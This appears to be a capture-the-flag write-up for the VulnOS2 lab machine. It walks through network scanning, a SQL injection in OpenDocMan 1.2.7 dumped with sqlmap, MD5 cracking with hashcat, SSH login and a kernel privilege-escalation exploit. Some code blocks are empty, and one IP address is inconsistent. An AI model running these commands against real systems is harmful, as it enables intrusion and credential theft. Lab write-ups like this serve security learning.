Vulos2
Tools:
- netdiscover
- Nmap
- Wfuzz
- Nikto
- sqlmap
- hash-identifier
Vulnerability:
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.56.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_001.png)
192.168.56.104 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.79.104 -p-
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_002.png)
port 22, 80 and 6667 are opening.
use wfuzz to scan. Nothing interesting.
use Niko to scan. Same.
Check the webpage, looks like a link may be useful.
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_003.png)
Double click it.
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_004.png)
Exam the links. In Document, I found this:
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_005.png)
Looks like path /jabcd0cs/ is available.
go to http://192.168.56.104/jabcd0cs/, I found the app is OpenDocMan v1.2.7.
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_006.png)
searchsploit opendocman
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_007.png)
got the exploit. Try the sql injection vulnerability:
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_008.png)
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_009.png)
Now I know the database type is MySQL.
Next try to dump all table names
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_010.png)
looks like odm_user is the table I want to take a look at.
now dump columns from table odm_user
sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -T odm_user --columns --dbms=mysql
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_011.png)
looks like username and password
now time to dump all content from username and password,
sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -C username,password --dump --dbms=mysql
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_012.png)
use hash-identifier to detect hash type
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_013.png)
looks like they are MD5.
use hashcat to crack it
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_014.png)
only guest’s password is cracked.
Find a very good website to crack MD5 online http://md5cracker.org/, get the cracked password webmin1980 for user webmin, and login:
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_015.png)
not very helpful.
Try to ssh to the box using webmin
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_016.png)
get the bash:
python -c 'import pty; pty.spawn("/bin/bash")'
first check the os version
uname -a
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_017.png)
searchsploit 3.13.0
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_018.png)
try this exploit
in Kali:
1 2 | |
in target:
1 2 3 | |
![[title manually exploit [alt text]]](/images/blog/vulhub/vulos2/Selection_019.png)
DONE